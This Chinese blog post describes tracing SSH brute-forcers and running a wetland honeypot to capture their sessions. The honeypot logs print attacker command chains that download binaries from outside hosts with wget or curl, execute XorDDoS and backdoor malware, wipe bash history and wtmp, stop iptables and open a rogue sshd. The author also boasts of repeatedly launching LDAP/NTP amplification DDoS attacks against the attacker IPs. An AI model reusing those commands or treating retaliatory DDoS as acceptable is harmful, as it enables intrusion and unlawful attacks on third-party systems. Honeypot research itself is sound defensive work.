背景
端午节出去玩之前,为了方便管理内网nas的下载,在路由器上开了frp(内网穿透),把nas的web界面和ssh端口映射到一台外网服务器上。web界面的端口在10000以下,ssh端口在20000以上.
晚上到酒店的时候,登录上nas的web界面,看到日志,有人从路由器(192.168.1.1)对nas进行ssh爆破,1小时一次,尝试的用户名ftpadmin、mysql、root、admin、等等。于是去frp服务器上找日志,日志里面竟然看不到ssh连接的ip。
捕获ip
于是把frp关了,把vps的sshd监听的22端口改到那个端口。1
# vim /etc/ssh/sshd_config
修改1
Port 22
然后重启sshd1
service ssh restart
过了一会儿,用手机的JuiceSSH连上vps,记得改ssh连接端口,查看ssh认证日志1
# cat /var/log/auth.log
找到了那个傻吊1
2
3
4
5
6
7
8
9
10
11Jun 18 18:22:28 xx sshd[31547]: Connection closed by 118.186.17.x [preauth]
Jun 18 18:48:21 xx sshd[31563]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.186.17.x user=root
Jun 18 18:48:23 xx sshd[31563]: Failed password for root from 118.186.17.x port 34658 ssh2
Jun 18 18:48:23 xx sshd[31563]: Connection closed by 118.186.17.x [preauth]
Jun 18 19:14:20 xx sshd[31570]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.186.17.x user=root
Jun 18 19:14:21 xx sshd[31570]: Failed password for root from 118.186.17.x port 52498 ssh2
Jun 18 19:14:22 xx sshd[31570]: Connection closed by 118.186.17.x [preauth]
Jun 18 19:17:01 xx CRON[31572]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 18 19:17:01 xx CRON[31572]: pam_unix(cron:session): session closed for user root
Jun 18 19:40:14 xx sshd[31577]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=118.186.17.x user=root
Jun 18 19:40:16 xx sshd[31577]: Failed password for root from 118.186.17.x port 42118 ssh2
开始还会爆破其他的用户,现在就只爆破root用户了,ssh2中的2是配置文件中的protocol 2
探测ip
查了下ip,是北京那边的。
用LDAP和NTP的方式d了200秒,d的时候是挂了,但是d完又恢复了。以为是家宽。
随即用nmap扫描端口和系统指纹信息,确定目标信息。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16Nmap scan report for 118.186.17.x
Host is up (0.075s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
443/tcp open https
445/tcp filtered microsoft-ds
2288/tcp open netml
3306/tcp open mysql
5800/tcp filtered xxc-http
5900/tcp filtered xxc
8888/tcp open sun-answerbook
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 19 hops
nc看了下2288,5800,5900,8888
2288,8888是ssh端口
5800,5900是nginx端口
2288有点像是路由器端口映射的感觉,但是d了那么久,如果是路由器早就死了吧。
应该是一台真正的服务器。
ipip.net上面查了下这个ip1
2
3
4
5
6
7地理位置 中国,北京,北京 (电信)
ASN 4134 (CHINANET-BACKBONE No.31,Jin-rong Street, CN)
威胁情报:
dshield : 20180620 : 僵尸网络
mirrors : 20180516 : 垃圾邮件
firehol : 20180516 : 恶意软件
firehol : 20180620 : 网络攻击
于是想到在微步威胁情报上查下ip
果然有这个ip的信息
从2017-08-27到现在一直有恶意信息的记录1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22情报源 发现时间 情报类型
开源情报 2018-06-11 扫描
开源情报 2018-05-29 可疑
开源情报 2018-05-10 可疑
ThreatBook Labs 2018-05-04 IDC服务器
开源情报 2017-11-23 扫描 已过期
开源情报 2017-11-16 可疑
开源情报 2017-09-20 恶意软件
开源情报 2017-09-20 可疑
开源情报 2017-09-20 可疑
开源情报 2017-09-20 可疑
开源情报 2017-09-20 可疑
开源情报 2017-09-20 可疑
开源情报 2017-09-19 恶意软件
开源情报 2017-09-12 扫描
ThreatBook Labs 2017-09-01 僵尸网络
ThreatBook Labs 2017-09-01 垃圾邮件,僵尸网络
开源情报 2017-08-30 扫描
开源情报 2017-08-29 可疑
开源情报 2017-08-29 可疑
ThreatBook Labs 2017-08-27 垃圾邮件 已过期
ThreatBook Labs 2016-07-08 IDC服务器
感觉是一个厉害的家伙。
ssh蜜罐
不如来装个蜜罐,看看这个人ssh进来后会干什么,会下载什么文件,从哪下载,这样会留下更多的信息
搜索了下,看中了这个蜜罐 基于Paramiko的高交互SSH蜜罐 .
是去年8月写的文章,去年4月的时候,我在树莓派上装过kippo,kippo启动也很简单的,clone下来代码,修改下配置文件,就能启动。但是这次我想试试这个新的蜜罐。
这个蜜罐名叫wetland,github开源地址:https://github.com/ohmyadd/wetland
使用docker方式的部署:
安装docker:curl -sSL https://get.docker.com/ | sh
- 启动sshd的docker
1
docker run -d --name sshd rastasheep/ubuntu-sshd
然后运行docker inspect sshd
查看这个容器的ip地址
如果这是你的第一个docker容器,ip一般都是172.17.0.2
- 从环境变量的方式启动wetland
1
docker run -d --name wetland -v ~/log:/root/wetland/log -p 22:22 -e SENSOR=test -e SSHDADDR=172.17.0.2 -e BEARYCHAT1='https://hook.bearychat.com/xxx' ohmyadd/wetland
- SENSOR: 传感器,[wetland]的名字
- SSHADDR:sshd的容器ip
- BEARYCHAT: bearychat 的hook地址
bearychat是一个团队协作的平台,可以添加机器人聊天,机器人会有个hook地址,如果有信息,会推送到机器人,机器人再发送给你。
设置方法:
团队后台 - 机器人 - 添加机器人 - 自定义tab - Incoming - 添加,之后会看到形如https://hook.bearychat.com/xxx
的hook地址。
启动好了后,我这边测试了下。
ssh [vps-ip] -p [ssh-port]
随便输了两个弱口令,连上了ssh。机器人那边就已经发送了消息,hacker ip为xxxx的连上了sensor为test的ssh。运行了什么命令也能及时看到。
捕获猎物1
之后的两天都没有消息,查看auth.log,发现那个傻逼连上了ssh又退出了:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30Jun 19 00:20:37 xx sshd[30738]: Received signal 15; terminating.
Jun 19 00:20:37 xx sshd[2103]: Server listening on 0.0.0.0 port 2368.
Jun 19 00:20:37 xx sshd[2103]: Server listening on :: port 2368.
Jun 19 00:21:56 xx sshd[2128]: pam_unix(sshd:session): session opened for user root by (uid=0)
Jun 19 00:22:29 xx sshd[2128]: pam_unix(sshd:session): session closed for user root
Jun 19 00:31:01 xx CRON[2399]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 00:31:14 xx CRON[2399]: pam_unix(cron:session): session closed for user root
Jun 19 00:31:39 xx sshd[1892]: pam_unix(sshd:session): session closed for user root
Jun 19 01:17:01 xx CRON[3203]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 01:17:01 xx CRON[3203]: pam_unix(cron:session): session closed for user root
Jun 19 02:17:01 xx CRON[3394]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 02:17:01 xx CRON[3394]: pam_unix(cron:session): session closed for user root
Jun 19 03:17:01 xx CRON[3561]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 03:17:01 xx CRON[3561]: pam_unix(cron:session): session closed for user root
Jun 19 04:17:01 xx CRON[3729]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 04:17:01 xx CRON[3729]: pam_unix(cron:session): session closed for user root
Jun 19 05:17:01 xx CRON[3901]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 05:17:01 xx CRON[3901]: pam_unix(cron:session): session closed for user root
Jun 19 06:17:01 xx CRON[4020]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 06:17:01 xx CRON[4020]: pam_unix(cron:session): session closed for user root
Jun 19 07:17:01 xx CRON[4312]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 07:17:01 xx CRON[4312]: pam_unix(cron:session): session closed for user root
Jun 19 08:17:01 xx CRON[4465]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 08:17:01 xx CRON[4465]: pam_unix(cron:session): session closed for user root
Jun 19 09:17:01 xx CRON[4659]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 09:17:01 xx CRON[4659]: pam_unix(cron:session): session closed for user root
Jun 19 10:17:01 xx CRON[4721]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 10:17:01 xx CRON[4721]: pam_unix(cron:session): session closed for user root
Jun 19 11:17:01 xx CRON[4777]: pam_unix(cron:session): session opened for user root by (uid=0)
Jun 19 11:17:01 xx CRON[4777]: pam_unix(cron:session): session closed for user root
非常稳定的一小时一次
只是进入到了ssh认证环节就退出了,蜜罐那边没日志,说明连蜜罐都没进,推测可能是ssh key不同的缘故。
ssh key更改了,ssh连接会提示key不通,需要移除掉老的记录,而脚本没有考虑到这种情况。
于是我换了台快到期的vps,装上蜜罐,等待猎物。
过了一会儿,ipad的bearychat疯狂推送。。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54Sensor: rom
Hacker: 103.42.28.212
MyIP: 172.17.0.3
Action: login
Content: login successful
Sensor: rom
Hacker: 103.42.28.212
MyIP: 172.17.0.3
Action: exec command
Content: cd /bin/
curl http://107.150.36.133/g.txt -o ygljglkjgfg0
chmod +x ygljglkjgfg0
/bin/ygljglkjgfg0
wget http://107.150.36.133/g.txt -O ygljglkjgfg1
chmod +x ygljglkjgfg1
/bin/ygljglkjgfg1
good http://107.150.36.133/g.txt -O ygljglkjgfg2
chmod +x ygljglkjgfg2
/bin/ygljglkjgfg2
sleep 2
wget http://107.150.36.133/w.txt -O sdf3fslsdf13
chmod +x sdf3fslsdf13
/bin/sdf3fslsdf13
good http://107.150.36.133/w.txt -O sdf3fslsdf14
chmod +x sdf3fslsdf14
/bin/sdf3fslsdf14
curl http://107.150.36.133/w.txt -o sdf3fslsdf15
chmod +x sdf3fslsdf15
/bin/sdf3fslsdf15
sleep 2
mv /usr/bin/wget /usr/bin/good
mv /bin/wget /bin/good
cat /dev/null >/root/.bash_history
ls -la /etc/daemon.cfg
exit $?
Sensor: rom
Hacker: 103.42.28.212
MyIP: 172.17.0.3
Action: exec_request
Content: success
Sensor: rom
Hacker: 103.42.28.212
MyIP: 172.17.0.3
Action: exec_request
Content: success
Sensor: rom
Hacker: 103.42.28.212
MyIP: 172.17.0.3
Action: exec command
Content: ls -la /etc/daemon.cfg
这个小婊砸把我的wget
命令 改为good
??
然后下载了两个程序ls -la /etc/daemon.cfg
应该是确认程序是否正确运行了
先下载g.txt
和 w.txt
传在线分析平台
这是个ddos客户端,准确来说是XordDOS
file看下1
2─[$] <> file w.txt
w.txt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
是可执行文件,不会逆向的菜鸡qwq。。。。
如果会逆向的话,可以追踪下,应该可以找到C&C服务器的地址
后来在freebuf搜到了一篇分析XorDDos的文章, 一次XorDDos变种样本的分析实战记录
后来我就重置了蜜罐。现在回想起来,应该使用netstat 查看下连接,说不定能知道,但是也有可能C&C服务器在下发任务的时候才会连接上,也不知道是主动连接还是被动连接,,,反正程序在咱手上了,什么时候运行下也不就能验证了
文件地址
完了后,给103和107各d 100秒NTP,截止发稿时间是打不开了嘿嘿
捕获猎物2
上一次是在rom机器上,这次回到第一次的机器上,在我记录博客的时候,翻看auth.log,发现有个新的ip(103.219.112.69)在持续的爆破宿主机的ssh,ssh上次已经是改到2000+了,蜜罐在20000+。
改端口的同时,顺便重置下蜜罐吧1
2docker stop wetland
docker rm wetland
修改宿主机的ssh监听端口
重新运行wetland的docker,把端口改到之前ssh的端口即可。
103没等来,等来了123同学。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: login
Content: login successful
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1987
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: service iptables stop
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: cd /tmp
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: wget http://mdb7.cn:8081/exp
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: chmod 0777 /root/exp
Sensor: x
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: nohup /root/exp > /dev/null 2>&1 &
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: rm -f /var/log/wtmp
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: rm -rf exp
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: wget -P/tmp http://123.249.27.28:613/pud
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: chmod 0777 /tmp/pud
Sensor: x
Hacker: 123.249.27.28
MyIP: 172.17.0.3
Action: exec command
Content: /tmp/./pud
mdb7.cn访问不了
下载pub上传 分析报告
后门+ddos
123.249.27.28 d了50秒NTP,现在挂了
这个ip也是长期嘿产
https://x.threatbook.cn/ip/123.249.27.28
kill杀了几个进程,这次这个有点垃圾,服务器打挂了不说,程序没有设置自动启动.
刚刚看到github有个kippo-detect的项目,用来检测是不是蜜罐,我觉得这些爆破小子应该先检测下是不是蜜罐
猎物3
1 | Sensor: rom2 |
root@9197361799fa:~# cat /var/run/gcc.pid
uhukenmftxpilnavmgpzoxmjalenfylb
猎物n?
1 | wget http://96.44.186.214:5414/Linux-syn19001ss |
猎物n+1
1 | Sensor: rom3 |
猎物n+2
1 | 29 wget http://96.44.186.214:5414/liuxs512 |
还把我密码改了
Sensor: rom3
Hacker: 118.175.87.174
MyIP: 172.17.0.3
Action: shell command
Content: root123
1 |
|
还帮我装pip python